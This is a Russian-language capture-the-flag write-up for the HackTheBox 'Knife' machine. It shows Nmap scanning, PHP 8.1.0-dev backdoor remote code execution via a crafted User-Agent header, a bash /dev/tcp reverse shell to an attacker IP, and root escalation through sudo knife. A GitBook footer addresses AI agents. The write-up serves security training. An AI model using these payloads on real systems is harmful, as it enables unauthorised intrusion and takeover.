> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md).

# Разбор HackTheBox Knife

Разбор Easy Linux-машины HackTheBox Knife, охватывающий PHP 8.1.0-dev - удалённое выполнение кода через 'User-Agent' (RCE), злоупотребление привилегией sudoers (бинарник Knife) (повышение привилегий), с практическими заметками по перечислени

{% embed url="<https://app.hackthebox.com/machines/347>" %}

{% hint style="warning" %}
Навыки:

* PHP 8.1.0-dev — удалённое выполнение кода (RCE) через 'User-Agent'
* Злоупотребление привилегией Sudoers (бинарный файл Knife) (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9ad056ada2d24c53e6f8fe098526bddb8c1af0a%2F%7BEE253AC9-7772-41F8-9BF0-FEEA0B28310E%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba2af2625c8e47bbb982ec950490fbe5cbde2613%2Fimage%20(965).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2389b996491a109e99d5e99ecced97d9e6da07%2F%7B6265CB65-8828-40B2-8808-99EB369C51DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (22.80)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e2d5cdf30c7d7251d8ccf52300e210b76303779%2F%7B6B2860F0-3B0F-47EE-BA9E-A790D67446EE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с помощью Nmap:**

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV 10.10.10.242 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e60651f6befc3383330e81d86e55a07d7157e0c%2F%7B3CD8FB85-8D30-4D80-941A-AE3D16241BF1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbf59d7b7b0dbfabc9b6f99767315667cfa6ed37%2Fimage%20(966).png?alt=media" alt=""><figcaption></figcaption></figure>

С **WhatWeb** инструмент, мы определяем уязвимую версию PHP:

```bash
whatweb http://10.10.10.242
# Результат: PHP 8.1.0-dev
```

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b7cc045ffef3ca1dadaaf5b0bb409dabc53206%2Fimage%20(967).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Эксплуатация — RCE через `User-Agent`**

Для этой версии выявлена уязвимость, связанная с PHP User-Agent.

{% embed url="<https://www.exploit-db.com/exploits/49933>" %}

Уязвимость в `User-Agent` позволяет удалённое выполнение кода.

1. **Простое выполнение команд**/ Отправьте HTTP-запрос с изменённым `User-Agent`:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');"
```

Результат: Группа пользователей `james` появляется в ответе.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-484e31f3f1e6b22ef4ae83a77a14488f20f66d4b%2Fimage%20(969).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **Получен обратный shell**/ Настройте слушатель на вашей машине:

```bash
nc -nvlp 443
```

Затем отправьте команду для запуска обратного shell:

```bash
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5888306f3be3421b86cc69e2507fec02dfa35a9e%2Fimage%20(970).png?alt=media" alt=""><figcaption></figcaption></figure>

3. **Улучшенный опыт работы в shell**/ Сделать терминал более интерактивным:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг User.txt

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d511bbeb67055fea4a6004a146a142f924d49ebc%2Fimage%20(971).png?alt=media" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

**Анализ разрешений Sudo**

Выполнив `sudo -l`, мы видим, что пользователь может запускать `knife` бинарный файл от имени root:

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aae7701b2933a94582a159f0e469187282ba707%2F%7B0CD289DE-20E3-4A68-90F7-809556CDC11A%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

Этот бинарный файл указан в GTFOBins как позволяющий повышение привилегий.

{% embed url="<https://gtfobins.github.io/gtfobins/knife/#sudo>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab19e3e7db4f40eb5ba4599233702b2629afc992%2F%7BC093739F-84FF-462F-9D70-48951E7337C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Эксплуатация**

Используйте приведённую выше команду, чтобы получить shell root.

```bash
sudo /usr/bin/knife exec -E 'exec "/bin/sh"'
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c53e77489b706c0de4b3b32fda1da7a91b1d95b0%2Fimage%20(972).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0fc531b03eb86b4bb1db3964e43d45315e4cfe67%2Fimage%20(973).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9870c843f867046a1fd36e9516acfd0917ddb457%2F%7B596F43C4-0308-44B2-93F2-FD4003DA47F5%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
